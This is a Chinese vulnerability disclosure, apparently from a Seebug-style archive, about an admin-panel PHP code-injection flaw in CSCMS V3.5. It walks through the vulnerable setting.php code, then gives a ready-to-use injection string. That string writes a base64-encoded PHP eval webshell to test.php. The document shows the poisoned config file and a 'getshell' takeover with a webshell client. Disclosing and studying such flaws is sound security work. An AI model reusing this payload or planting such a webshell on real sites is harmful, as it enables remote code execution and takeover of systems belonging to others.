### 简要描述:
CSCMS V3.5 最新版 后台PHP命令执行GETSHELL(源码详析)
CSCMS的全新架构加强了安全性,以往的一串漏洞均已修复,
读代码,发现还有新的漏洞
代码分析见详细说明,测试演示在漏洞证明里
### 详细说明:
漏洞位置为后台的 网站设置-第三方登录设置 中
[<img src="https://images.seebug.org/upload/201312/2100075669cabddbaaa9ea07cb741ffd2099cfac.png" alt="1.PNG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/2100075669cabddbaaa9ea07cb741ffd2099cfac.png)
有关代码如下:
/app/controllers/admin/setting.php line:426
```
public function dengluedit() //设置第三方登录的几项配置
{
$this->CsdjAdmin->Admin_Qx('4');
//注意,本处已使用xss_clean过滤特定字符,之后的结论会用到
$CS_Appmode = $this->security->xss_clean($this->input->post('CS_Appmode', TRUE));
$CS_Appid = $this->security->xss_clean($this->input->post('CS_Appid', TRUE));
$CS_Appkey = $this->security->xss_clean($this->input->post('CS_Appkey', TRUE));
$strs="<?php"."\r\n";
$strs.="//登入开关 \r\n";
//注意下面这一句中$CS_Appmode没有保护,仅有之前的xss_clean过滤
$strs.="define(\"CS_Appmode\",".$CS_Appmode."); \r\n";
$strs.="//APP_ID \r\n";
//下面这一句就用双引号包住了,hehe?
$strs.="define(\"CS_Appid\",\"".$CS_Appid."\"); \r\n";
$strs.="//APP_KEY \r\n";
//下面这一句就用双引号包住了,hehe?
$strs.="define(\"CS_Appkey\",\"".$CS_Appkey."\"); \r\n";
//写文件
//这里已经没有限制,写到Cs_Denglu.php里了
if (!write_file('./csdj/lib/Cs_Denglu.php', $strs)){
$this->CsdjAdmin->Admin_Url('<font color=red>操作失败,文件没有写入权限!</font>',site_url('admin/setting/denglu/'));
}else{
$this->CsdjAdmin->Admin_Url('<font color=#0000ff>恭喜您,修改成功!</font>',site_url('admin/setting/denglu/'),'ok');
}
}
```
/csdj/lib/Cs_Denglu.php
正常的状态,之后会用到
```
<?php
//登入开关
define("CS_Appmode",1);
//APP_ID
define("CS_Appid","100272263");
//APP_KEY
define("CS_Appkey","7e26a29ec48b1be01a61169a01c5f5d1");
```
回头考虑xss_clean
这是CI框架的XSS过滤函数
具体的解析见官方文档,OK?
作用是去HTML标签,并且!!!让php标签safe!!!
意思就是不去php标签,这也是之后写php一句话马的基础
抓包
[<img src="https://images.seebug.org/upload/201312/21002702e774bba0fe45bfb7518773d59b610709.png" alt="2.PNG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/21002702e774bba0fe45bfb7518773d59b610709.png)
把1修改为:
```
1);file_put_contents("test.php",base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2x4ajYxNl0pPz4='));//
```
提示:那段base64原文是<?php @eval($_POST[lxj616])?>
请复制全code里面的所有内容,最后那个注释符号也要复制的
提交
[<img src="https://images.seebug.org/upload/201312/210029297310a1920a9e44cca377eba5869f7c8a.png" alt="3.PNG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/210029297310a1920a9e44cca377eba5869f7c8a.png)
查看刚才的/csdj/lib/Cs_Denglu.php
```
<?php
//登入开关
define("CS_Appmode",1);file_put_contents("test.php",base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2x4ajYxNl0pPz4='));//);
//APP_ID
define("CS_Appid","100272263");
//APP_KEY
define("CS_Appkey","7e26a29ec48b1be01a61169a01c5f5d1");
```
写木马的语句已经有了,由于之前提示“修改成功”后会自动返回之前的页面,又会加载这个php设置文件,因此这个语句应该已经执行完毕了
[<img src="https://images.seebug.org/upload/201312/210034317c8d4535d7b5d33519138cd9dd67e149.png" alt="4.PNG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/210034317c8d4535d7b5d33519138cd9dd67e149.png)
多出的test.php即为木马文件
[<img src="https://images.seebug.org/upload/201312/21003459c6086bd2cec710364c48ee53c58842d3.png" alt="6.PNG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/21003459c6086bd2cec710364c48ee53c58842d3.png)
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201312/2100075669cabddbaaa9ea07cb741ffd2099cfac.png" alt="1.PNG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/2100075669cabddbaaa9ea07cb741ffd2099cfac.png)
[<img src="https://images.seebug.org/upload/201312/21002702e774bba0fe45bfb7518773d59b610709.png" alt="2.PNG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/21002702e774bba0fe45bfb7518773d59b610709.png)
[<img src="https://images.seebug.org/upload/201312/210029297310a1920a9e44cca377eba5869f7c8a.png" alt="3.PNG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/210029297310a1920a9e44cca377eba5869f7c8a.png)
[<img src="https://images.seebug.org/upload/201312/210034317c8d4535d7b5d33519138cd9dd67e149.png" alt="4.PNG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/210034317c8d4535d7b5d33519138cd9dd67e149.png)
[<img src="https://images.seebug.org/upload/201312/21003459c6086bd2cec710364c48ee53c58842d3.png" alt="6.PNG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/21003459c6086bd2cec710364c48ee53c58842d3.png)
用菜刀了,GETSHELL完毕
[<img src="https://images.seebug.org/upload/201312/210036049de28028c071585732aab0fabbd28447.png" alt="7.PNG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/210036049de28028c071585732aab0fabbd28447.png)
[<img src="https://images.seebug.org/upload/201312/210036142cfb0d8a3bffeeb4732e8429fb473a6f.png" alt="8.PNG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/210036142cfb0d8a3bffeeb4732e8429fb473a6f.png)
暂无评论